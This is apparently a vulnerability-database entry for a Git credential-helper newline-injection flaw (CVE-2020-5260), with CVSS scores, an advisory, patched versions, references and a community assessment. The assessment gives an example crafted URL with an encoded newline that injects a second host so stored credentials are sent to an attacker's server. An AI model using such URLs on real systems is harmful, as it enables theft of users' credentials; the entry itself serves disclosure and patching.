7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
Affected versions of Git have a vulnerability whereby Git can be tricked into sending private credentials to a host controlled by an attacker. Git uses external “credential helper” programs to store and retrieve passwords or other credentials from secure storage provided by the operating system. Specially-crafted URLs that contain an encoded newline can inject unintended values into the credential helper protocol stream, causing the credential helper to retrieve the password for one server (e.g., good.example.com) for an HTTP request being made to another server (e.g., evil.example.com), resulting in credentials for the former being sent to the latter. There are no restrictions on the relationship between the two, meaning that an attacker can craft a URL that will present stored credentials for any host to a host of their choosing. The vulnerability can be triggered by feeding a malicious URL to git clone. However, the affected URLs look rather suspicious; the likely vector would be through systems which automatically clone URLs not visible to the user, such as Git submodules, or package systems built around Git. The problem has been patched in the versions published on April 14th, 2020, going back to v2.17.x. Anyone wishing to backport the change further can do so by applying commit 9a6bbee (the full release includes extra checks for git fsck, but that commit is sufficient to protect clients against the vulnerability). The patched versions are: 2.17.4, 2.18.3, 2.19.4, 2.20.3, 2.21.2, 2.22.3, 2.23.2, 2.24.2, 2.25.3, 2.26.1.
Recent assessments:
Green-m at April 17, 2020 4:37am UTC reported:
This vuln is just a CRLF injection in my opinion.
You could offer the URL like https://one.example.com?%0ahost=two.example.com/
so that the credential would be sent to two.example.com
which the attacker owns.
I guess there are some prerequisites for attack :
A subdomain name, has the same main domain name as the target.
The victim store or caches the credentials (It’s not the default behavior).
May need user interactions. The exploit usually occurred when the user runs git clone <URL>
.
That’s why I prefer the value for the attacker is low
.
This vuln probably affected the App and service based on git
, like GitLab
(Not include GitLab
).
These services may allow users to import or remote clone some repo, this vuln would occur.
<https://github.com/git/git/commit/9a6bbee8006c24b46a85d29e7b38cfa79e9ab21b>
See <https://github.com/git/git/security/advisories/GHSA-qm7j-c969-7j4q>
Been my first comment in this awesome attackerkb community, welcome to discuss and helpful advice.
Assessed Attacker Value: 2
Assessed Attacker Value: 2Assessed Attacker Value: 4
lists.opensuse.org/opensuse-security-announce/2020-04/msg00027.html
lists.opensuse.org/opensuse-security-announce/2020-05/msg00003.html
packetstormsecurity.com/files/157250/Git-Credential-Helper-Protocol-Newline-Injection.html
www.openwall.com/lists/oss-security/2020/04/15/5
www.openwall.com/lists/oss-security/2020/04/15/6
www.openwall.com/lists/oss-security/2020/04/20/1
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5260
github.com/git/git/commit/9a6bbee8006c24b46a85d29e7b38cfa79e9ab21b
github.com/git/git/security/advisories/GHSA-qm7j-c969-7j4q
lists.debian.org/debian-lts-announce/2020/04/msg00010.html
lists.fedoraproject.org/archives/list/[email protected]/message/74Q7WVJ6FKLIN62VS2JD2XCNWK5TNKOW
lists.fedoraproject.org/archives/list/[email protected]/message/7TVS5UG6JD3MYIGSBKMIOS6AF7CR5IPI
lists.fedoraproject.org/archives/list/[email protected]/message/MOCTR2SEHCPSCOVUQJAGFPGKFMI2VE6V
lists.fedoraproject.org/archives/list/[email protected]/message/PN3FUOXKX3AXTULYV53ACABER2W2FSOU
lists.fedoraproject.org/archives/list/[email protected]/message/XPCEOIFLLEF24L6GLVJVFZX4CREDEHDF
lore.kernel.org/git/[email protected]
security.gentoo.org/glsa/202004-13
support.apple.com/kb/HT211141
usn.ubuntu.com/4329-1
www.debian.org/security/2020/dsa-4657
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N